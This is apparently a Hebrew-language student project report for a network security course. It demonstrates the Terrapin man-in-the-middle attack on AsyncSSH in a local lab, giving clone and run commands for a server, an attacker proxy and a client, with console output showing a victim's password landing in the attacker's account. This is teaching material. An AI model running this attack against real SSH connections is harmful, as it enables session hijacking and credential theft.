בס"ד

יסודות לאבטחת רשתות – תרגיל סופי – Terrapin attack

מגישים: אוריאל דולב 215676560, יהל קולר 214737728

מטרת הפרויקט:

פרויקט זה הינו יישום של מתקפת Terrapin על פרוטוקול SSH, כאשר אנחנו משתמשים במימוש הפופלרי AsyncSSH.

יישום המתקפה: אנחנו מריצים שרת ששומר סיסמאות ומקבל אותן באופן מאובטח, וכן לקוח שמתחבר אליו באופן מאובטח, שולח סיסמאות ויכול גם לצפות בסיסמאות שלו. אנחנו מיישמים מתקפת Man In The Middle, שבה אנחנו יוצרים Rouge Session. מה שקורה בעצם זה שהלקוח חושב שהוא מתחבר למשתמש שלו, אבל בעצם הוא מתחבר לתוקף. ככה, הסיסמאות שלו נשמרות בחשבון של התוקף.

SetUp:

git clone https://github.com/Ykoler/Network-Pentools

cd Network-Pentools\SSH-Rogue-Session

pip install -r requirements.txt

הרצת הקוד:

תחילה, נריץ את הserver בפורט 8000:

```
C:\Users\uriel\OneDrive\Documents\Networks Security Fundamentals\Network-Pen
tools\SSH-Rogue-Session\server>python ssh_passwords_manager.py -p 8000
C:\Networks\Python3.8\lib\site-packages\cryptography\hazmat\backends\openssl
\backend.py:17: UserWarning: You are using cryptography on a 32-bit Python o
n a 64-bit Windows Operating System. Cryptography will be significantly fast
er if you switch to using a 64-bit Python.
  from cryptography.hazmat.bindings.openssl import binding
INFO:__main__:Server starting up on 8000...
WARNING:__main__:No authorized_keys file given, publickey auth will not work
.
DEBUG:asyncio:Using proactor: IocpProactor
INFO:asyncssh:Creating SSH listener on port 8000
```

לאחר מכן על מנת למקם את התוקף בין הclient לserver נריץ את את התוקף כך שיתחבר לserver בפורט 8000 ויקבל חיבור מהclient בפורט 8001:

```
C:\Users\uriel\OneDrive\Documents\Networks Security Fundamentals\Network-Pen
tools\SSH-Rogue-Session\attacker>python attack.py --proxy-port 8001 --server
-port 8000
Socket bound to address and port
```

בס"ד

לבסוף נריץ את הclient כך שיתחבר לפורט 8001 ויעשה פעולת save_password כך שתישמר הסיסמה my_very_secret_password תחת המשתמש הדיפולטיבי username: victim, password: secret:

```
C:\Users\uriel\OneDrive\Documents\Networks Security Fundamentals\Network-Pen
tools\SSH-Rogue-Session\client>python ssh_client.py -p 8001 -c save_password
 -s my_very_secret_password
```

כפי שניתן לראות, הפעולה הושלמה בהצלחה:

```
INFO:asyncssh:[conn=0, chan=0] Channel closed
Welcome to my SSH server!
Password saved successfully.
INFO:asyncssh:[conn=0] Closing connection
```

כעת כשנתחבר לשרת שלנו עם המשתמש attacker ונריץ את פעולת get_passwords נוכל לראות את הסיסמה שהקורבן הכניס:

```
C:\Users\uriel\OneDrive\Documents\Networks Security Fundamentals\Network-Pen
tools\SSH-Rogue-Session\client>python ssh_client.py -p 8000 -c get_passwords
 -u attacker -P attacker
```

```
Welcome to my SSH server!
PASSWORDS:
my_very_secret_password
```